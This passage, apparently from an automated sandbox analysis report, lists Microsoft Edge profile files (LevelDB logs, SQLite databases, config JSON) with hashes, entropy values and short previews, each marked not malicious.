SHA-256:	5B4AA933CDDD6044BD1B8D1EED74FF1E7CDE317E150AA183EE1BA81722675D62
SHA-512:	F96FCA27EE4AD2D116E88B8A959A48ADBD8F6144CBED03799BF3833B9E97BA098A08B1F11F3AE22BB09A741FBE5103F363590129814B7FC0295D2A0DDF1C5E2A
Malicious:	false
Preview:	2024/11/11-22:16:19.926 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-22:16:19.927 1f04 Recovering log #3.2024/11/11-22:16:19.927 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.164764910714035
Encrypted:	false
SSDEEP:	6:HUxZrVq2P923oH+TcwtnG2tMsIFUt8YUxoa2gZmw+YUxoa2IkwO923oH+TcwtnGg:MrVv4Yebn9GFUt80a2g/+0a2I5LYebnB
MD5:	EB86F0BABCC0FFEA3DD0DD5A6E5FEB6D
SHA1:	341318CED8DE3AD671CC1F2D310FBDB18F82FA36
SHA-256:	5B4AA933CDDD6044BD1B8D1EED74FF1E7CDE317E150AA183EE1BA81722675D62
SHA-512:	F96FCA27EE4AD2D116E88B8A959A48ADBD8F6144CBED03799BF3833B9E97BA098A08B1F11F3AE22BB09A741FBE5103F363590129814B7FC0295D2A0DDF1C5E2A
Malicious:	false
Preview:	2024/11/11-22:16:19.926 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-22:16:19.927 1f04 Recovering log #3.2024/11/11-22:16:19.927 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6142927911445913
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jzUrpRUIemL:TO8D4jJ/6Up+a
MD5:	6AF524C432313894C842B7098DC48D88
SHA1:	E062154A03674D0575A39E7488EF6087C0AAA47D
SHA-256:	3E7F57B6AF33E554AE2776F21FFF1D89D1BB1BE3AD98628D25B257254D0F2428
SHA-512:	02BEDEF1F89DC05FD4A35061D9271393F66E671978A4BEE35013A6381F6F0F34E407B5ED1FCEDC653781F5B96AD3BAF54295C5A1992A76FE4648410F9D242857
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354166855391635
Encrypted:	false
SSDEEP:	6144:UA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:UFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	D1B3BCB79140EA846D00FF1F84F58EC3
SHA1:	9FB09FF101FDC4559C1374F80069B67F1DF852E3
SHA-256:	5B0F6F687B30DF8BD91300F40EF75946D966CBF32DAF1C8B8ACBC7C7F357E0A9
SHA-512:	30A9676FCE337B5B040E082922182531DA86B61CC7B791CA76287F5EA0601B0E6A7845EE9A03AD7D249568D23FF159F28F2B4C4913C040E64A867031A8A6BAE9
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13375854986620813..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.107004344878176
Encrypted:	false
SSDEEP:	6:HUxxq1923oH+Tcwtk2WwnvB2KLlVUxGq2P923oH+Tcwtk2WwnvIFUv:sfYebkxwnvFLFv4YebkxwnQFUv
MD5:	2DF69313503E3D8D5068ECBCE6318A95
SHA1:	2D5EE146E27D58A5D74C0306DE8E3F4DC8EC4211
SHA-256:	0E8A3581F8678282335605FCE5778FE835C88DC084ADB65A46D7C61600001404
SHA-512:	979E563E0282C5CAC5010C3AAB6ED833A6ABC6B7376219080626A4B60571CA4A63385C91ABEA70F4E5E1577ED7BDA67F9124C76E3D69CFD6FB0E14A14DBDD5C5
Malicious:	false
Preview:	2024/11/11-22:16:25.421 2260 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/11-22:16:25.460 2260 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324623037601087
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rk:C1gAg1zfvM
MD5:	D0278EA134EB21FBC5657B55202C6C50
SHA1:	D557ECACD67CB7687ACADBE3557AD0D542ED37A0
SHA-256:	C1C5F0BCE0CE8966524BFA099E8AF619E287166768F72B5447BB537C777ABB22
SHA-512:	52707D308545EFD756240CC4B9F82704FEF68A1EA4DF0015C70B69A58B02543DB9F09B0CE4449CCAE6BB4EFF6F7F81C307D694BAE5558B2D2648B06EBB8F0360
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.136026413774017
Encrypted:	false
SSDEEP:	6:HUxoNN+q2P923oH+Tcwt8aPrqIFUt8YUxXZXZmw+YUxXZ3VkwO923oH+Tcwt8amd:XNIv4YebL3FUt8p/+j5LYebQJ
MD5:	0B8E9A0BFF5838B91EB7513BBA5DDF08
SHA1:	888ACEB72F84695A4A68476840B628F82DBE82D0
SHA-256:	5BD9E1A24E2546A8293626D528281321F8C3E4159985FD3F5B470E090080635D
SHA-512:	276D94934D7B1D80FBBC8D9F24578C862991D4665BB15112A1D35725044E3D105D3DBD6C6F5C350B344C3483D1F5A97480E1DC022A38FC4989052075CBDBF0D9
Malicious:	false
Preview:	2024/11/11-22:16:19.927 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-22:16:19.928 1ef8 Recovering log #3.2024/11/11-22:16:19.928 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.136026413774017
Encrypted:	false
SSDEEP:	6:HUxoNN+q2P923oH+Tcwt8aPrqIFUt8YUxXZXZmw+YUxXZ3VkwO923oH+Tcwt8amd:XNIv4YebL3FUt8p/+j5LYebQJ
MD5:	0B8E9A0BFF5838B91EB7513BBA5DDF08
SHA1:	888ACEB72F84695A4A68476840B628F82DBE82D0
SHA-256:	5BD9E1A24E2546A8293626D528281321F8C3E4159985FD3F5B470E090080635D
SHA-512:	276D94934D7B1D80FBBC8D9F24578C862991D4665BB15112A1D35725044E3D105D3DBD6C6F5C350B344C3483D1F5A97480E1DC022A38FC4989052075CBDBF0D9
Malicious:	false
Preview:	2024/11/11-22:16:19.927 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-22:16:19.928 1ef8 Recovering log #3.2024/11/11-22:16:19.928 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.168501347525952
Encrypted:	false
SSDEEP:	6:HUx5+q2P923oH+Tcwt865IFUt8YUxXZmw+YUx3VkwO923oH+Tcwt86+ULJ:jv4Yeb/WFUt8T/+J5LYeb/+SJ
MD5:	40D1DFDB3DAA4EB51DE2FA651FEF08BB
SHA1:	479822DF1B77110FC468EEC9901522533F9FA300
SHA-256:	0F073E678229108C88C1A6E6D4000966F6E0652D4904FCBDA0E09318A4C49513
SHA-512:	4CD04847C168D1A0CFBC44398FFD5C00CAF4078EAF812359F59179240C72A1D5ACB3EC55D634215A727235962068655B68008237266C9CD2B3B84B9C50546643
Malicious:	false
Preview:	2024/11/11-22:16:19.951 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-22:16:19.953 1ef8 Recovering log #3.2024/11/11-22:16:19.953 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.168501347525952
Encrypted:	false
SSDEEP:	6:HUx5+q2P923oH+Tcwt865IFUt8YUxXZmw+YUx3VkwO923oH+Tcwt86+ULJ:jv4Yeb/WFUt8T/+J5LYeb/+SJ
MD5:	40D1DFDB3DAA4EB51DE2FA651FEF08BB
SHA1:	479822DF1B77110FC468EEC9901522533F9FA300
SHA-256:	0F073E678229108C88C1A6E6D4000966F6E0652D4904FCBDA0E09318A4C49513
SHA-512:	4CD04847C168D1A0CFBC44398FFD5C00CAF4078EAF812359F59179240C72A1D5ACB3EC55D634215A727235962068655B68008237266C9CD2B3B84B9C50546643
Malicious:	false
Preview:	2024/11/11-22:16:19.951 1ef8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-22:16:19.953 1ef8 Recovering log #3.2024/11/11-22:16:19.953 1ef8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.154608377233697
Encrypted:	false
SSDEEP:	6:HUx4cRtiX9+q2P923oH+Tcwt8NIFUt8YUx4cRtiXJZmw+YUx4c139VkwO923oH+y:j14v4YebpFUt8c1J/+cu3D5LYebqJ
MD5:	067546807BA3A8640B574B46DDAF2CD7
SHA1:	D71B58C28AA3FE72EC1112D67C63BFE358F82773
SHA-256:	9BED0FDACDA04EE1BFA0C98AB5BED1AD4C7033512B77D6630AFA16C32BFDDFAF
SHA-512:	4312828067CDA5681B93F767AE727E81BBEAD03F0270267112612BCC0FCA017C8905704D0C0C3C25FFD969FC2171154A79DFC4C08536815ED3430C7E79179381
Malicious:	false
Preview:	2024/11/11-22:16:20.949 1eb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-22:16:20.949 1eb8 Recovering log #3.2024/11/11-22:16:20.951 1eb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.154608377233697
Encrypted:	false
SSDEEP:	6:HUx4cRtiX9+q2P923oH+Tcwt8NIFUt8YUx4cRtiXJZmw+YUx4c139VkwO923oH+y:j14v4YebpFUt8c1J/+cu3D5LYebqJ
MD5:	067546807BA3A8640B574B46DDAF2CD7
SHA1:	D71B58C28AA3FE72EC1112D67C63BFE358F82773
SHA-256:	9BED0FDACDA04EE1BFA0C98AB5BED1AD4C7033512B77D6630AFA16C32BFDDFAF
SHA-512:	4312828067CDA5681B93F767AE727E81BBEAD03F0270267112612BCC0FCA017C8905704D0C0C3C25FFD969FC2171154A79DFC4C08536815ED3430C7E79179381
Malicious:	false
Preview:	2024/11/11-22:16:20.949 1eb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-22:16:20.949 1eb8 Recovering log #3.2024/11/11-22:16:20.951 1eb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:Tll59tFlljq7A/mhWJFuQ3yy7IOWUW4otdweytllrE9SFcTp4AGbNCV9RUIu:VG75fO0Rd0Xi99pEYs
MD5:	5858C4AE203B03667A19C3113CA2F677
SHA1:	B668700B816ECD445FAC76B226B3B5E24702756C
SHA-256:	BD478EB7DCAE024658E69054A17B94E5183836FBE8D30969319FD0C0FE6BA32F
SHA-512:	3412395F632ECB2C7A29EDD6D9FB57E99A82B2D359C57C2BB3EB94BF6A6B35C1B55C9D77C4BA35D778A4238002720D7B1A356060FEF36F676F70683FEA374621
Malicious:	false
Preview:	.............'.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477342655770615
Encrypted:	false
SSDEEP:	384:aj9P0ycSQkQerxP/KbtpjlU773pL9hCgam6ItRKToaAu:adcSe2xP/IlU7Pv9RKcC
MD5:	20FAB3D61C4FCF6BE87F68C42A1A4B0B
SHA1:	C5757BE81A4E3643A7FDBC17F82974BE03C78A87
SHA-256:	6E5476386E9D815A2D823110B3E96E66109C6E5CD6800FE74F4FC61BC6898CE2
SHA-512:	97F26CCAF3D2D8D420747CA17146055245CEEF8D4036903D6A7E18EF9DEB1F11A2CF4FCB558253AE11A634358616FE74D2F4504B70F1A95FF318BDAEC230B149
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2312308774462
Encrypted:	false
SSDEEP:	12:p34v4Yeb8rcHEZrELFUt8kJ/+kD5LYeb8rcHEZrEZSJ:p64Yeb8nZrExg8sLYeb8nZrEZe
MD5:	1DE7C9A8B1FF8C9483C6CA119F7AECCE
SHA1:	DA4D354322D0EDBDF111EB20D1E343B89FCCEA4A
SHA-256:	29B47E6CDB36B0E175680852104CE2B0D22C1C6FF9535E1318056427B7BE50CB
SHA-512:	3D25A0FB0E25AA6564D30B76B1DE7AB5C7F430BF11D338B00574C8E3971A09D197DC98D8B6B5AB7E6204A16B5B9C7FDDF9CC7896AC1292F9F269779B8F06B38B
Malicious:	false
Preview:	2024/11/11-22:16:22.990 1eb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-22:16:22.992 1eb8 Recovering log #3.2024/11/11-22:16:22.992 1eb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2312308774462
Encrypted:	false
